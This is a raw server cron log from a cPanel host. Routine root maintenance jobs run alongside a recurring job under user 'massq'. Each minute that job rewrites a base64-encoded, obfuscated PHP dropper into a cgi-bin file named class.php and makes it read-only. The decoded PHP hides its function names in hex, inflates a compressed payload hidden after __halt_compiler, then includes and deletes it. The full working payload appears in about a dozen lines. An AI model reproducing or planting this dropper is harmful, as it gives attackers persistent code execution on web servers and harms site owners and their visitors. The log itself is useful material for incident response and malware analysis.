Aug 30 06:40:01 server CROND[14019]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:40:01 server CROND[14020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:40:01 server CROND[14018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:41:01 server CROND[14946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:41:01 server CROND[14947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:41:01 server CROND[14948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:42:01 server CROND[15334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:42:01 server CROND[15335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:42:01 server CROND[15336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:42:01 server CROND[15338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:43:01 server CROND[15713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:43:01 server CROND[15714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:43:01 server CROND[15717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:44:01 server CROND[16092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:44:01 server CROND[16093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:44:01 server CROND[16095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:45:01 server CROND[16487]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:45:01 server CROND[16492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:45:01 server CROND[16491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:45:01 server CROND[16493]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:45:01 server CROND[16495]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:45:01 server CROND[16489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:45:01 server CROND[16490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:46:01 server CROND[17315]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:46:01 server CROND[17316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:46:01 server CROND[17317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:47:01 server CROND[17776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:47:01 server CROND[17777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:47:01 server CROND[17778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:48:01 server CROND[18158]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:48:01 server CROND[18159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:48:01 server CROND[18160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:49:01 server CROND[18533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:49:01 server CROND[18534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:49:01 server CROND[18535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:50:01 server CROND[18915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:50:01 server CROND[18916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 06:50:01 server CROND[18921]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:50:01 server CROND[18931]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 06:50:01 server CROND[18933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:50:01 server CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:50:01 server CROND[18932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:50:01 server CROND[18929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:50:01 server CROND[18939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:51:01 server CROND[19750]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:51:01 server CROND[19748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:51:01 server CROND[19749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:52:01 server CROND[20218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 06:52:01 server CROND[20219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:52:01 server CROND[20220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:53:01 server CROND[20602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
